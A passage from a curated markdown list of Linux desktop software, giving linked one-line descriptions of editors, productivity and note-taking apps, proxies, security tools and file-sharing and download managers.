icon]](https://www.lyx.org/trac/browser) [LyX](https://www.lyx.org/) - Mature document editor that renders into LaTeX. - [![Open-Source Software][oss icon]](https://www.tug.org/texlive/build.html) [TexLive](https://www.tug.org/texlive/) - TeX Live is an easy way to get up and running with the TeX document production system. - [![Open-Source Software][oss icon]](https://savannah.gnu.org/projects/texmacs) [TeXmacs](http://www.texmacs.org/) - Free scientific text editor, inspired by TeX and GNU Emacs. WYSIWYG editor and CAS-interface. - [![Open-Source Software][oss icon]](http://www.xm1math.net/texmaker/download.html) [Texmaker](http://www.xm1math.net/texmaker/) - Free cross-platform LaTeX editor. - [![Open-Source Software][oss icon]](https://github.com/texstudio-org/texstudio) [TeXstudio](https://www.texstudio.org/) - TeXstudio's goal is to make writing LaTeX documents as easy and comfortable as possible. - [![Open-Source Software][oss icon]](https://github.com/TeXworks/texworks) [TeXworks](https://www.tug.org/texworks/) - TeXworks is an environment for authoring TeX (LaTeX, ConTeXt, etc) documents, with a Unicode-based, TeX-aware editor, integrated PDF viewer, and a clean, simple interface accessible to casual and non-technical users. #### Markdown - [![Open-Source Software][oss icon]](http://github.com/wereturtle/ghostwriter) [Ghost Writer](https://ghostwriter.kde.org/) - A distraction-free Markdown editor for Windows and Linux. - [![Open-Source Software][oss icon]](https://github.com/fabiocolacio/Marker) [Marker](https://github.com/fabiocolacio/Marker) - Marker is a markdown editor for linux made with GTK+-3.0. - [![Open-Source Software][oss icon]](https://github.com/marktext/marktext) [MarkText](https://github.com/marktext/marktext) - MarkText is a free and open-source realtime preview markdown editor which support both CommonMark Spec and GitHub Flavored Markdown Spec. It is a concise text editor, dedicated to improving your writing efficiency. - [![Open-Source Software][oss icon]](https://github.com/jamiemcg/remarkable) [Remarkable](https://remarkableapp.github.io/) - A capable markdown editor that uses a variant of GitHub Flavored Markdown (GFM). - [![Open-Source Software][oss icon]](https://github.com/retext-project/retext) [Retext](https://github.com/retext-project/retext) - A Simple but powerful editor for Markdown and reStructuredText. - [Typora](https://typora.io/) - A Minimal markdown editor. #### Novel Writing - [![Open-Source Software][oss icon]](https://github.com/andreafeccomandi/bibisco) [Bibisco](http://www.bibisco.com/) - A novel writing software with focus on ideas and characters. - [![Open-Source Software][oss icon]](https://github.com/olivierkes/manuskript) [Manuskript](https://www.theologeek.ch/manuskript/) - Manuskript is a perfect tool for those writer who like to organize and plan everything before writing. - [![Open-Source Software][oss icon]](https://github.com/jacquetc/plume-creator) [Plume Creator](https://plume-creator.eu/) - An open-source tool for novelist that gives you an outliner, a distraction-free mode, a note manager and much more. - [![Open-Source Software][oss icon]](https://github.com/scribusproject/scribus) [Scribus](https://www.scribus.net/downloads/) - Scribus is a desktop publishing application designed for layout, typesetting, and preparation of files for professional-quality image-setting equipment. It can also create animated and interactive PDF presentations and forms. - [![Open-Source Software][oss icon]](https://github.com/trelby/trelby) [Trelby](https://www.trelby.org/) - Trelby is simple, fast and elegantly laid out to make screenwriting simple. ### Productivity #### Automation - [![Open-Source Software][oss icon]](https://github.com/Jmgr/actiona) [Actiona](https://wiki.actiona.tools/doku.php?id=:en:start) - An utility for task automation Ubuntu/Linux. (Previously Actionaz) - [![Open-Source Software][oss icon]](https://github.com/autokey/autokey) [Autokey](https://github.com/autokey/autokey) - A desktop automation utility for Linux allows you to manage collection of scripts and phrases, and assign abbreviations and hotkeys to these. - [![Open-Source Software][oss icon]](https://github.com/rafaelmardojai/blanket) [Blanket](https://apps.gnome.org/app/com.rafaelmardojai.Blanket/) - Improve focus and increase your productivity by listening to different sounds. - [![Open-Source Software][oss icon]](https://code.launchpad.net/caffeine) [Caffeine](https://launchpad.net/caffeine) - Prevents Ubuntu from automatically going to sleep. - [![Open-Source Software][oss icon]](https://github.com/federico-terzi/espanso) [espanso](https://espanso.org/) - Cross-platform Text Expander written in Rust. - [![Open-Source Software][oss icon]](https://github.com/mautosoft/maxautoclicker/) [Max Auto Clicker](https://maxautoclicker.blogspot.com/) - Automate your mouse clicks easily with this awesome cross-platform application (for Windows and Linux Desktops). - [![Open-Source Software][oss icon]](https://github.com/robiot/xclicker) [XClicker](https://xclicker.xyz/) - A blazing fast gui autoclicker for linux. #### Dock - [![Open-Source Software][oss icon]](https://github.com/Cairo-Dock) [Cairo-Dock](https://glx-dock.org/) - Cairo-Dock is a desktop interface that takes the shape of docks, desklets, panel, etc. - [![Open-Source Software][oss icon]](https://code.launchpad.net/docky) [Docky](https://launchpad.net/docky) - Docky is a full fledged dock application that makes opening common applications and managing windows easier and quicker. - [![Open-Source Software][oss icon]](https://invent.kde.org/plasma/latte-dock) [Latte Dock](https://store.kde.org/p/1169519/) - Latte is a dock based on plasma frameworks that provides an elegant and intuitive experience for your tasks and plasmoids. - [![Open-Source Software][oss icon]](https://git.launchpad.net/plank) [Plank](https://launchpad.net/plank) - Plank is meant to be the simplest dock of apps on the planet. #### Local Search - [![Open-Source Software][oss icon]](https://github.com/albertlauncher/albert) [Albert](https://albertlauncher.github.io/) - An awesome keyboard launcher for the Linux desktop. - [![Open-Source Software][oss icon]](https://github.com/DoTheEvo/ANGRYsearch) [ANGRYsearch](https://github.com/DoTheEvo/ANGRYsearch) - Linux file search, instant results as you type. - [![Open-Source Software][oss icon]](https://code.launchpad.net/catfish-search) [Catfish](https://launchpad.net/catfish-search) - Catfish is a versatile file searching tool. - [![Open-Source Software][oss icon]](https://github.com/KELiON/cerebro) [Cerebro](https://cerebroapp.com/) - Open-source productivity booster with a brain / MacOS-Spotlight alternative. - [![Open-Source Software][oss icon]](https://github.com/cboxdoerfer/fsearch) [fsearch](https://github.com/cboxdoerfer/fsearch) - A fast file search utility for Unix-like systems based on GTK+3. Wildcard support, RegEx support, Filter support. - [![Open-Source Software][oss icon]](https://github.com/p-e-w/plotinus) [Plotinus](https://github.com/p-e-w/plotinus) - A searchable command palette in every modern GTK+ application. - [![Open-Source Software][oss icon]](https://git.launchpad.net/synapse-project) [Synapse](https://launchpad.net/synapse-project) - Synapse is a semantic launcher written in Vala that you can use to start applications as well as find and access relevant documents and files by making use of the Zeitgeist engine. - [![Open-Source Software][oss icon]](https://github.com/Ulauncher/Ulauncher/) [Ulauncher](https://ulauncher.io/) - Ulauncher is a fast application launcher for Linux. It's is written in Python, using GTK+. #### Miscellaneous - [![Open-Source Software][oss icon]](https://github.com/costales/anoise) [Ambient Noise](https://github.com/costales/anoise) - An ambient noise generator for Linux. - [![Open-Source Software][oss icon]](https://github.com/jarun/bcal) [bcal](https://github.com/jarun/bcal) - Perform storage conversions and calculations. - [![Open-Source Software][oss icon]](https://github.com/hluk/CopyQ) [CopyQ](https://hluk.github.io/CopyQ/) -CopyQ is advanced clipboard manager with editing and scripting features. - [f.lux](https://justgetflux.com/linux.html) - A program that reddens your display to help you sleep better. - [![Open-Source Software][oss icon]](https://github.com/thezbyg/gpick) [Gpick](http://www.gpick.org/) - Gpick allows you to sample any color from anywhere on your desktop, and it also provides some other advanced features! - [![Open-Source Software][oss icon]](https://github.com/jarun/pdd) [pdd](https://github.com/jarun/pdd) - Tiny date, time diff calculator. - [![Open-Source Software][oss icon]](https://github.com/jonls/redshift) [Redshift](http://jonls.dk/redshift/) - Redshift adjusts the color temperature of your screen according to your surroundings. This may help your eyes hurt less if you are working in front of the screen at night. - [![Open-Source Software][oss icon]](http://www.speedcrunch.org/) [SpeedCrunch](https://www.speedcrunch.org/) - A nice, open source, high-precision scientific calculator. - [![Open-Source Software][oss icon]](https://github.com/jml/undistract-me) [Undistract me](https://github.com/jml/undistract-me) - Notifies you when long-running terminal commands complete. - [Xmind](https://www.xmind.net/) - A mind mapping tool. #### Note Taking - [![Open-Source Software][oss icon]](https://basket-notepads.github.io/download.html) [Basket Note Pads](https://basket-notepads.github.io/) - This multi-purpose note-taking application helps you to easily take all sort of notes. - [![Open-Source Software][oss icon]](https://github.com/BoostIO/Boostnote) [Boostnote](https://boostnote.io/) - Boostnote is an open source note-taking app made for programmers just like you. - [![Open-Source Software][oss icon]](https://github.com/giuspen/cherrytree) [Cherrytree](https://www.giuspen.com/cherrytree/) - A hierarchical note taking application, featuring rich text and syntax highlighting, storing data in a single xml or sqlite file. - ![Nonfree][money icon] [Inkdrop](https://inkdrop.app/) - The Note-Taking App for Markdown Lovers with simple interface, seemless security and powerful APIs. - [![Open-Source Software][oss icon]](https://github.com/laurent22/joplin) [Joplin](https://joplinapp.org/) - A note taking and to-do application with synchronization capabilities for Windows, macOS, Linux, Android and iOS. - [![Open-Source Software][oss icon]](https://github.com/logseq/logseq) [Logseq](https://logseq.com/) - Logseq is a privacy-first, open-source knowledge base that works on top of local plain-text Markdown and Org-mode files. Use it to write, organize and share your thoughts, keep your to-do list, and build your own digital garden. - [![Open-Source Software][oss icon]](https://github.com/dvorka/mindforger) [Mindforger](https://www.mindforger.com/) - Thinking notebook and Markdown editor. - [![Open-Source Software][oss icon]](https://sourceforge.net/p/nevernote/code/ci/master/tree/) [NixNote](https://sourceforge.net/projects/nevernote/) - An open source client for Evernote. - [![Open-Source Software][oss icon]](https://github.com/nuttyartist/notes) [Notes](https://www.get-notes.com/) - A clean simple note taking app for Linux. - [Obsidian](https://obsidian.md/) - Obsidian is a powerful knowledge base on top of a local folder of plain text Markdown files. - [![Open-Source Software][oss icon]](https://github.com/patrikx3/onenote) [OneNote](https://www.corifeus.com/onenote) - Linux Electron OneNote. - [![Open-Source Software][oss icon]](http://orgmode.org/) [Org mode](https://orgmode.org/) - Org mode is for keeping notes, maintaining TODO lists, planning projects, and authoring documents with a fast and effective plain-text system. - [![Open-Source Software][oss icon]](https://github.com/alainm23/planner) [Planner](https://useplanner.com/) - Planner keeps track of all your tasks, projects, and goals in one beautifully simple place. - [![Open-Source Software][oss icon]](https://github.com/pbek/QOwnNotes) [QOwnNotes](https://www.qownnotes.org/) - QOwnNotes is a plain-text file notepad and todo-list manager with markdown support and ownCloud / Nextcloud integration. - [Simplenote](https://simplenote.com/) - A Cross platform notetaking app and Evernote competitor. - [![Open-Source Software][oss icon]](https://github.com/spsdco/notes) [Springseed](https://github.com/spsdco/notes) - Simple and beautiful note taking app for daily user. - [![Open-Source Software][oss icon]](https://github.com/standardnotes/) [Standard Notes](https://standardnotes.com/) - Standard Notes is an end-to-end encrypted note-taking app for digitalists and professionals. Capture your notes, files, and life’s work all in one secure place. - [![Open-Source Software][oss icon]](https://github.com/Standard-Unix-Notes/unix-notes) [Standard Unix Notes](https://github.com/Standard-Unix-Notes/unix-notes) - GPG Encrypted Notes/Notebook manager for BSD/Linux - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~umang/indicator-stickynotes/trunk/files) [Stickynote](https://launchpad.net/indicator-stickynotes) - Sticky notes on your Linux desktop. - [![Open-Source Software][oss icon]](https://github.com/tomboy-notes/tomboy) [Tomboy](https://wiki.gnome.org/Apps/Tomboy) - Tomboy is a desktop note-taking application which is simple and easy to use. - [![Open-Source Software][oss icon]](https://github.com/zadam/trilium) [Trilium Notes](https://github.com/zadam/trilium) - Trilium Notes is a hierarchical note taking application with focus on building large personal knowledge bases. - [![Open-Source Software][oss icon]](https://github.com/turtl) [Turtl](https://turtlapp.com/) - The secure, collaborative notebook. - [![Open-Source Software][oss icon]](https://github.com/klaussinani/tusk) [Tusk](https://klaudiosinani.github.io/tusk/) - Refined Evernote desktop app. - [![Open-Source Software][oss icon]](https://github.com/wizteam/wizqtclient) [WizNote](https://github.com/wizteam/wizqtclient) - A cross-platform cloud based note-taking client. #### Time and Task - [![Open-Source Software][oss icon]](http://bazaar.launchpad.net/~joh/alarm-clock/trunk/files) [Alarm Clock](http://alarm-clock.pseudoberries.com/) - Alarm Clock is a fully-featured alarm clock for your GNOME panel or equivalent. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/gnome-break-timer/) [Break Timer](https://wiki.gnome.org/Apps/BreakTimer) - A break timer application for GNOME. - [![Open-Source Software][oss icon]](https://github.com/tom-james-watson/breaktimer-app/) [BreakTimer](https://breaktimer.app/) - BreakTimer is a cross platform desktop application with nice UI for managing and enforcing periodic breaks. - [![Open-Source Software][oss icon]](http://git.calcurse.org/calcurse.git/) [calcurse](https://calcurse.org/) - A calendar and scheduling application for the command line. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/california) [California](https://wiki.gnome.org/Apps/California) - Complete Calendar app replacement which uses natural language for creating events. - ![Nonfree][money icon] [Everdo](https://everdo.net/) - TODO list and Getting Things Done® app for all platforms. Beautiful, powerful, not SaaS, free version available. - [![Open-Source Software][oss icon]](https://github.com/codito/gnome-pomodoro) [GNOME Pomodoro](http://gnomepomodoro.org/#download) - A full-featured pomodoro timer for GNOME. - [![Open-Source Software][oss icon]](https://github.com/JMoerman/Go-For-It) [Go For It](https://github.com/JMoerman/Go-For-It) - Go For It! is a simple and stylish productivity app, featuring a to-do list, merged with a timer that keeps your focus on the current task. - [![Open-Source Software][oss icon]](https://invent.kde.org/pim/kalendar) [Kalendar](https://apps.kde.org/kalendar/) - Kalendar is a calendar application that allows you to manage your tasks and events. - ![Nonfree][money icon] [Pomodone App](https://pomodoneapp.com/) - PomoDoneApp is the easiest way to track your workflow using Pomodoro technique®, on top of your current task management service. - [![Open-Source Software][oss icon]](https://invent.kde.org/utilities/rsibreak) [RSIBreak](https://apps.kde.org/rsibreak/) - RSIBreak takes care of your health and regularly breaks your work to avoid repetitive strain injury. - [![Open-Source Software][oss icon]](https://github.com/ransome1/sleek) [sleek](https://github.com/ransome1/sleek) - Cross platform todo manager based on the todo.txt syntax. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/Solanum) [Solanum](https://apps.gnome.org/app/org.gnome.Solanum/) - A pomodoro timer for the GNOME desktop. - [![Open-Source Software][oss icon]](https://github.com/johannesjo/super-productivity) [Super Productivity](https://super-productivity.com/) - The simple free flexible ToDo List / Time Tracker / personal Jira and Github Task Manager. - [Taskade](https://www.taskade.com/downloads) - Real-time organization and collaboration tool for getting things done. Taskade is a unified workspace for team tasks, notes, with integrated video chat available cross-platform and free to use. - [![Open-Source Software][oss icon]](https://github.com/klaussinani/taskbook) [Taskbook](https://github.com/klaussinani/taskbook) - Tasks, boards & notes for the command-line habitat. - [![Open-Source Software][oss icon]](https://github.com/GothenburgBitFactory/taskwarrior) [TaskWarrior](https://taskwarrior.org/) - Taskwarrior is Free and Open Source Software that manages your TODO list from the command line. - [![Open-Source Software][oss icon]](https://github.com/todotxt/todo.txt-android) [Todo.txt](http://todotxt.com/) - Todo.txt is a set of focused editors which help you manage your tasks with as few keystrokes and taps possible. - [![Open-Source Software][oss icon]](https://github.com/kamhix/todoist-linux) [Todoist](https://github.com/kamhix/todoist-linux) - Unofficial client of Todoist, the cross-platform to-do manager with mobile apps, great UI and has some optional premium features. #### Time and Usage Tracker - [![Open-Source Software][oss icon]](https://github.com/ActivityWatch/activitywatch) [ActivityWatch](https://activitywatch.net/) - ActivityWatch is an app that automatically tracks how you spend time on your devices. - [![Open-Source Software][oss icon]](https://github.com/hamaluik/timecop) [Time Cop](https://timecop.app/en/) - A time tracking app that respects your privacy and gets the job done without getting too fancy. - [![Nonfree][freeware icon]](https://toggl.com/track/)[Toggl Track](https://flathub.org/apps/details/com.toggl.TogglDesktop/) - Simple and Intuitive Time Tracking Software with cloud sync. #### Widget and Indicator - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~indicator-brightness/indicator-brightness/trunk/files) [Brightness](https://launchpad.net/indicator-brightness) - Brightness indicator for Ubuntu. - [![Open-Source Software][oss icon]](https://git.launchpad.net/my-weather-indicator) [My Weather Indicator](https://launchpad.net/my-weather-indicator) - Weather indicator and widget for Ubuntu. - [![Open-Source Software][oss icon]](https://bazaar.launchpad.net/~jconti/recent-notifications/trunk/files) [Recent Noti](https://launchpad.net/recent-notifications) - An indicator for recent notification. - [![Open-Source Software][oss icon]](https://github.com/yktoo/indicator-sound-switcher) [Yktoo Sound Switcher Indicator](https://yktoo.com/en/software/indicator-sound-switcher) - Sound input/output selector indicator for Ubuntu/Unity. ### Proxy - [![Open-Source Software][oss icon]](https://github.com/mitmproxy/mitmproxy) [mitmproxy](https://mitmproxy.org/) - mitmproxy is a free and open source interactive HTTPS proxy. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/ijbswa/) [Privoxy](https://www.privoxy.org/) - Privoxy is a non-caching web proxy with advanced filtering capabilities for enhancing privacy, modifying web page data and HTTP headers, controlling access, and removing ads and other obnoxious Internet junk. - [![Open-Source Software][oss icon]](https://github.com/haad/proxychains) [ProxyChains](https://proxychains.sourceforge.net/) - A tool that forces any TCP connection made by any given application to follow through proxy like TOR or any other SOCKS4, SOCKS5 or HTTP(S) proxy. - [![Open-Source Software][oss icon]](https://github.com/shadowsocks/shadowsocks-qt5) [Shadowsocks](https://shadowsocks.org/) - A secure socks5 proxy, designed to protect your Internet traffic. ### Security #### Boot Integrity - [![Open-Source Software][oss icon]](https://github.com/noahbliss/mortar) [Mortar](https://github.com/noahbliss/mortar) - Mortar allows for convenient automatic unlocking of LUKS-encrypted disks without sacrificing security through the use of Secureboot and TPM validation. Mortar aims to be distribution-agnostic. #### Compartmentalization - [![Open-Source Software][oss icon]](https://github.com/AtomsDevs/Atoms) [Atoms](https://github.com/AtomsDevs/Atoms) - Easily manage Linux Chroot(s) and Containers with Atoms. - [![Open-Source Software][oss icon]](https://github.com/89luca89/distrobox) [Distrobox](https://distrobox.privatedns.org/) - Use any linux distribution inside your terminal. - [![Open-Source Software][oss icon]](https://github.com/netblue30/firejail) [Firejail](https://firejail.wordpress.com/) - Firejail is a SUID program that reduces the risk of security breaches by restricting the running environment of untrusted applications using [Linux namespaces](https://lwn.net/Articles/531114/) and [seccomp-bpf](https://l3net.wordpress.com/2015/04/13/firejail-seccomp-guide/). - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/gnome-boxes) [GNOME Boxes](https://apps.gnome.org/app/org.gnome.Boxes/) - Virtualization made simple. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/kvm/files/) [KVM](https://www.linux-kvm.org/page/Main_Page) - KVM (for Kernel-based Virtual Machine) is a full virtualization solution for Linux on x86 hardware containing virtualization extensions (Intel VT or AMD-V). - [![Open-Source Software][oss icon]](https://github.com/nanovms/ops/) [ops](https://ops.city/) - OPS is a tool that builds, runs and deploys ordinary linux applications as unikernels. - [![Open-Source Software][oss icon]](https://github.com/marhkb/pods) [Pods](https://github.com/marhkb/pods) - Interact with Podman using an intuitive desktop application. - [![Open-Source Software][oss icon]](https://github.com/quickemu-project/quickemu) [Quickemu](https://github.com/quickemu-project/quickemu) - Quickly create and run optimised Windows, macOS and Linux desktop virtual machines. - [![Open-Source Software][oss icon]](https://github.com/containers/toolbox) [Toolbx](https://containertoolbx.org/) - Tool for containerized command line environments on Linux. - [![Open-Source Software][oss icon]](https://www.virtualbox.org/wiki/Contributor_information) [VirtualBox](https://www.virtualbox.org/wiki/Downloads) - VirtualBox is a general-purpose full virtualizer for x86 hardware, targeted at server, desktop and embedded use. - [![Open-Source Software][oss icon]](https://github.com/virt-manager/virt-manager) [Virtual Machine Manager](https://virt-manager.org/) - Desktop tool for managing virtual machines via libvirt. - [VMware Workstation Player](https://www.vmware.com/products/workstation-player.html) - Easily run multiple operating systems as virtual machines on your Windows or Linux PC with VMware Workstation Player. #### Firewall - [![Open-Source Software][oss icon]](https://github.com/firehol/firehol) [FireHOL](https://firehol.org) - Linux firewall (`iptables`) manager for humans. - [![Open-Source Software][oss icon]](https://github.com/firewalld/firewalld) [Firewalld](https://github.com/firewalld/firewalld) - Firewalld provides a dynamically managed firewall with support for network or firewall zones to define the trust level of network connections or interfaces. - [![Open-Source Software][oss icon]](https://github.com/costales/gufw) [GuFW](https://github.com/costales/gufw) - One of the easiest firewalls in the world of Linux. - [![Open-Source Software][oss icon]](https://github.com/evilsocket/opensnitch) [OpenSnitch](https://github.com/evilsocket/opensnitch) - OpenSnitch is a GNU/Linux interactive application firewall inspired by Little Snitch. - [![Open-Source Software][oss icon]](https://github.com/safing/portmaster) [Portmaster](https://safing.io/) - Portmaster is a free and open-source application firewall that does the heavy lifting for you. Restore privacy and take back control over all your computer's network activity. #### Password Manager - [1Password](https://1password.com/downloads/linux/) - 1Password is the easiest way to store and use strong passwords. Log in to sites and fill forms securely with a single click. - [![Open-Source Software][oss icon]](https://github.com/authpass/authpass) [AuthPass](https://authpass.app/) - Password Manager based on Flutter for all platforms. - [![Open-Source Software][oss icon]](https://github.com/bitwarden) [Bitwarden](https://bitwarden.com/) - A cross-platform password management service which also support self-hosting. - [![Open-Source Software][oss icon]](https://github.com/buttercup/buttercup-desktop) [Buttercup](https://buttercup.pw/) - Buttercup is a free, open-source and cross-platform password manager, built on NodeJS with Typescript. - [Enpass](https://www.enpass.io/) - Enpass makes your life easy by securely managing your passwords and important information. - [![Open-Source Software][oss icon]](https://github.com/gopasspw/gopass) [gopass](https://www.gopass.pw/) - The slightly more awesome standard unix password manager for teams. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/keepass/files/KeePass%202.x/) [KeePass](https://www.keepass.info/) - Windows focused password manager, with some cross platform support through Mono. - [![Open-Source Software][oss icon]](https://github.com/keepassxreboot/keepassxc) [KeePassXC](https://keepassxc.org/) - Cross platform password manager. A Community-maintained fork of KeePassX. - [Keeper](https://www.keepersecurity.com/download.html) - The leading cybersecurity platform that protects passwords, secrets and access to infrastructure. - [![Open-Source Software][oss icon]](https://github.com/keeweb/keeweb) [KeeWeb](https://keeweb.info/) - Free cross-platform password manager compatible with KeePass. - [LastPass](https://lastpass.com/misc_download2.php) - LastPass is a crossplatform freemium password management service that stores encrypted passwords in private accounts. - [NordPass](https://nordpass.com/download/linux/) - A secure and simple password manager for a stress-free online experience. Optimized for Linux devices. - [![Open-Source Software][oss icon]](https://github.com/padloc/padloc) [Padloc](https://padloc.app/) - A modern, open source password manager for individuals and teams. - [![Open-Source Software][oss icon]](https://git.zx2c4.com/password-store/) [Pass](https://www.passwordstore.org/) - The standard Unix password manager. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/passwordsafe/) [Password Safe](https://pwsafe.org/) - Password Safe allows you to safely and easily create a secured and encrypted user name/password list. - [![Open-Source Software][oss icon]](https://gitlab.com/psono/psono-app) [Psono](https://psono.com/) - Psono is an open source and self hosted password manager to help keep your data safe. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/secrets) [Secrets](https://apps.gnome.org/app/org.gnome.World.Secrets/) - Secrets is a password manager which integrates perfectly with the GNOME desktop and provides an easy and uncluttered interface for the management of password databases. - [![Open-Source Software][oss icon]](https://github.com/dani-garcia/vaultwarden) [VaultWarden](https://github.com/dani-garcia/vaultwarden) - Unofficial Bitwarden compatible server written in Rust, formerly known as bitwarden_rs. #### Other - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/Authenticator) [Authenticator](https://apps.gnome.org/app/com.belmoussaoui.Authenticator/) - Simple application for generating Two-Factor Authentication Codes. - [![Open-Source Software][oss icon]](https://github.com/Cisco-Talos/clamav-devel) [ClamAV](https://www.clamav.net/) - ClamAV is an open source antivirus engine for detecting trojans, viruses, malware & other malicious threats. - [![Open-Source Software][oss icon]](https://github.com/cryptomator/cryptomator) [Cryptomator](https://cryptomator.org/) - Multi-platform transparent client-side encryption of your files in the cloud. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/decoder/) [Decoder](https://apps.gnome.org/app/com.belmoussaoui.Decoder/) - Fancy yet simple QR Codes scanner and generator. - [![Open-Source Software][oss icon]](https://github.com/fail2ban/fail2ban) [Fail2ban](https://www.fail2ban.org/wiki/index.php/Main_Page) - Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious signs -- too many password failures, seeking for exploits, etc. - [![Open-Source Software][oss icon]](https://firehol.org/tutorial/fireqos-new-user/) [FireQoS](https://docs.netdata.cloud/collectors/tc.plugin/#tcplugin) - Linux QoS (`tc`) manager for humans. - [![Open-Source Software][oss icon]](https://git.gnupg.org/) [GnuPG](https://www.gnupg.org/) - GnuPG allows to encrypt and sign your data and communication, features a versatile key management system as well as access modules for all kinds of public key directories. - [![Open-Source Software][oss icon]](https://github.com/firehol/iprange) [IPrange](https://github.com/firehol/iprange) - A very fast command line utility for processing IP lists (merge, compare, exclude, etc). - [![Open-Source Software][oss icon]](https://github.com/jarun/keysniffer) [keysniffer](https://github.com/jarun/keysniffer) - Linux kernel mode debugfs keylogger. - [![Open-Source Software][oss icon]](https://github.com/CISOfy/lynis) [Lynis](https://cisofy.com/lynis/) - Security auditing tool for Linux, macOS, and UNIX-based systems. Assists with compliance testing (HIPAA/ISO27001/PCI DSS) and system hardening. Agentless, and installation optional. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/World/obfuscate/) [Obfuscate](https://apps.gnome.org/app/com.belmoussaoui.Obfuscate/) - Obfuscate lets you redact your private information from any image. - [![Open-Source Software][oss icon]](https://www.openbsd.org/anoncvs.html) [OpenSSH](https://www.openssh.com/) - OpenSSH Secure Shell Server and Client. - [![Open-Source Software][oss icon]](https://github.com/zaproxy/zaproxy/) [OWASP ZAP](https://www.zaproxy.org) - OWASP Zed Attack Proxy (ZAP) web security testing tool. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/seahorse) [Seahorse](https://wiki.gnome.org/Apps/Seahorse) - A GNOME frontend for GnuPG. - [![Open-Source Software][oss icon]](https://github.com/mhogomchungu/sirikali) [Sirikali](https://mhogomchungu.github.io/sirikali/) - A Qt/C++ GUI front end to cryfs,gocryptfs,securefs,ecryptfs and encfs. - [![Open-Source Software][oss icon]](https://www.tcpdump.org/#source) [Tcpdump](https://www.tcpdump.org/) - TCP Debugging/Capture Tool. - [![Open-Source Software][oss icon]](https://github.com/usbkey9/uktools) [Uktools](https://github.com/usbkey9/uktools) - Keep your system up-to-date with last kernel available. Possibility to clean old kernel too. - [![Open-Source Software][oss icon]](https://github.com/firehol/blocklist-ipsets) [Update-IPsets](https://iplists.firehol.org) - A manager for all cybercrime IP feeds that can download, convert and install netfilter `ipsets`. - [![Open-Source Software][oss icon]](https://github.com/veracrypt/VeraCrypt) [VeraCrypt](https://veracrypt.fr/en/Home.html) - VeraCrypt is a free open source disk encryption software for Windows, Mac OSX and Linux. ### Sharing Files #### Cloud Drive - [Dropbox](https://www.dropbox.com/install?os=lnx) - Dropbox is a free service that lets you bring your photos, docs, and videos anywhere and share them easily. - [![Open-Source Software][oss icon]](https://github.com/meganz/MEGAsync) [MEGA](https://mega.io/desktop) - Easy automated syncing between your computers and your MEGA cloud drive. - [![Open-Source Software][oss icon]](https://github.com/nextcloud) [nextCloud](https://nextcloud.com/) - An actively maintained fork of ownCloud, a suite of client-server software for creating and using file hosting services. - [![Open-Source Software][oss icon]](https://github.com/owncloud) [ownCloud](https://owncloud.com/client/) - The goal of ownCloud is to give you access to your files wherever you are. - [![Open-Source Software][oss icon]](https://github.com/haiwen/seafile) [Seafile](https://www.seafile.com/en/home/) - Seafile is an enterprise file hosting platform with high reliability and performance. Put files on your own server. Sync and share files across different devices, or access all the files as a virtual disk. #### Download Manager - [![Open-Source Software][oss icon]](https://github.com/aria2/aria2) [aria2](https://aria2.github.io/) - aria2 is a lightweight multi-protocol & multi-source command-line download utility. - [![Open-Source Software][oss icon]](https://github.com/setvisible/DownZemAll) [DownZemAll](https://setvisible.github.io/DownZemAll/) - DownZemAll! is a mass download manager for Windows, Mac OS X and Linux. It helps you to select, organize, prioritize and run your downloads in parallel. - [Flareget](https://flareget.com/) - Full featured, multi-threaded download manager and accelerator. - [Free Download Manager](https://www.freedownloadmanager.org/) - Free Download Manager is a powerful modern cross-platform download accelerator and organizer for Windows, Mac and Linux. - [JDownloader](https://jdownloader.org/) - JDownloader is a free download management tool with a huge community of developers that makes downloading as easy and fast as it should be. - [![Open-Source Software][oss icon]](https://invent.kde.org/network/kget) [KGet](https://apps.kde.org/kget/) - KGet is a versatile and user-friendly download manager. - [![Open-Source Software][oss icon]](https://github.com/agalwood/Motrix/) [Motrix](https://motrix.app/) - Motrix is a full-featured clean and easy to use interface download manager that supports downloading HTTP, FTP, BitTorrent, Magnet, etc. - [![Open-Source Software][oss icon]](https://sourceforge.net/p/urlget/uget2/ci/master/tree/) [uGet](https://ugetdm.com/) - A download manager that can monitor the clipboard for downloadable links, and can create a list of downloads, and run them in parallel. - [![Open-Source Software][oss icon]](https://github.com/subhra74/xdm) [Xtreme Download Manager](https://xtremedownloadmanager.com/) - A good download manager with fresh UI for Linux. #### File Sharing - [![Open-Source Software][oss icon]](https://github.com/mafintosh/airpaste) [airpaste](https://github.com/mafintosh/airpaste) - A 1-1 network pipe that auto discovers other peers using mdns. - [![Open-Source Software][oss icon]](https://github.com/schollz/croc) [croc](https://schollz.com/blog/croc6/) - Easily and securely send things from one computer to another. - [CrossFTP](https://www.crossftp.com/ftp-client.htm) - CrossFTP makes it extremely simple to manage the FTP related tasks. - [D-lan](http://www.d-lan.net/) - A free LAN file sharing software. - [![Open-Source Software][oss icon]](https://svn.filezilla-project.org/filezilla/FileZilla3/) [Filezilla](https://filezilla-project.org/) - The free FTP solution. - [![Open-Source Software][oss icon]](https://github.com/nitroshare/nitroshare-desktop) [NitroShare](https://nitroshare.net/) - Cross-Platform network file transfer application. - [![Open-Source Software][oss icon]](https://github.com/micahflee/onionshare) [OnionShare](https://onionshare.org/) - Securely and anonymously share a file of any size. - [![Open-Source Software][oss icon]](https://github.com/sidneys/pb-for-desktop) [PushBullet for desktop](https://sidneys.github.io/pb-for-desktop/) - The missing Desktop application for Pushbullet. - [Quazaa](https://sourceforge.net/projects/quazaa/) - A cross platform multi-network peer-to-peer (P2P) file-sharing client. - [SpiderOak](https://spideroak.com/) - Real-time collaboration for teams and businesses that care 